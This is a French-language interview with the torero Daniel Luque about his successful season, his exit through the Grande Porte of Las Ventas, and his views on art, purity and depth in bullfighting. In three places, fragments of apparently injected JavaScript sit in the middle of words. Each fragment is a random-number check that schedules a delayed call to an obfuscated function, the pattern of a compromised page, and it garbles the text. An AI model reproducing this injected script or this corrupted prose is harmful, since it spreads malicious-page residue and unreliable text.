ENTRETIEN AVEC DANIEL LUQUE

Artiste hors pair, son toreo a acquis de la maturité et il a de nouveau conquis les plus grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andes arènes cette temporada. Nous en parlons avec lui.

Daniel Luque : C’est une saison où j’ai eu des succès à Valence, Madrid, Grenade, Saragosse, Bayonne, Dax... Dans toutes les arènes importantes où j’ai posé les pieds, j’ai triomphé.

-Qu’a signifié pour toi ton succès cette année à Madrid ?

-Ça m’a surtout beaucoup motivé, on sait tous l’importance qu’a une sortie par la Grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande Porte de Las Ventas : ça amène des contrats, ça confère de la crédibilité. Comme novillero, j’avais déjà eu la chance de l’ouvrir, mais c’était la première fois comme matador. Elle m’avait résisté auparavant mais c’est chose faite et quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and je l’ai traversée j’étais l’homme le plus heureux du monde.

-Tu as 25 ans, on dit que c’est l’âge idéal pour un torero. Te sens-tu vraiment en plénitude ?

-Oui, je le crois. Je vois les choses très clairement mais il y a toujours des choses à corriger et à adapter. Il faut penser à ces toreros avec lesquels je partage l’affiche, avec 10 ou même 20 ans d’alternative, qui me confient qu’ils ont toujours quelque chose à apprendre, à découvrir.

-Tu es un torero avec beaucoup de goût, considères-tu que l’art est inné ou ça s’apprend ?

-On doit travailler, il faut y croire, croire en soi-même, penser que tu en es capable, mais il est vrai aussi qu’il y a une baguette magique qui l’administre à sa volonté. Si tu es touché par elle il faut savoir l’utiliser, la maitriser et surtout la meubler pour que ça ne se retourne pas contre toi.

-Pourrais-tu définir, en quelques mots, ce que signifient en tauromachie pour toi la pureté et la profondeur ?

-La pureté c’est la vérité et la profondeur, pour l’atteindre, il faut surtout toréer avec du rythme. Sans celui-ci il n’y ni profondeur, ni esthétique.

 

luque

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